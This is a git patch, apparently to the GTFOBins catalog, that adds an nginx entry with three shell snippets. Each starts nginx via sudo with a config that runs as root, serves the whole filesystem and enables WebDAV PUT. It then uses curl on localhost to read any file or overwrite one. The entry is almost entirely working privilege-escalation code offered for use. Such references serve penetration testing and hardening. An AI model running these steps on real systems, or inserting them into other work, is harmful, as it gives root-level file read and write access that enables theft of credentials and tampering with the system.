From ac9c805f42c8c5272405e84a64b10667ca8623ef Mon Sep 17 00:00:00 2001 From: godylockz <81207744+godylockz@users.noreply.github.com> Date: Thu, 23 Nov 2023 00:45:57 -0500 Subject: [PATCH] Nginx commit --- _gtfobins/nginx.md | 71 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 _gtfobins/nginx.md diff --git a/_gtfobins/nginx.md b/_gtfobins/nginx.md new file mode 100644 index 00000000..5c2975bd --- /dev/null +++ b/_gtfobins/nginx.md @@ -0,0 +1,71 @@ +--- +functions: + sudo: + - description: This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute. + code: | + PORT=1337 + LFILE=file_to_read + TFC=$(mktemp) + cat > $TFC << EOF + user root; + events { + worker_connections 1024; + } + http { + server { + listen $PORT; + root /; + autoindex on; + dav_methods PUT; + } + } + EOF + sudo nginx -c $TFC + curl -s http://localhost:$PORT$LFILE + file-read: + - description: This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute. + code: | + PORT=1337 + LFILE=file_to_read + TFC=$(mktemp) + cat > $TFC << EOF + user root; + events { + worker_connections 1024; + } + http { + server { + listen $PORT; + root /; + autoindex on; + dav_methods PUT; + } + } + EOF + sudo nginx -c $TFC + curl -s http://localhost:$PORT$LFILE + file-write: + - description: This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute. + code: | + PORT=1337 + LFILE=file_to_write + TF=$(mktemp) + echo DATA >$TF + TFC=$(mktemp) + cat > $TFC << EOF + user root; + events { + worker_connections 1024; + } + http { + server { + listen $PORT; + root /; + autoindex on; + dav_methods PUT; + } + } + EOF + sudo nginx -c $TFC + curl -X PUT http://localhost:$PORT$LFILE -d @$TF +---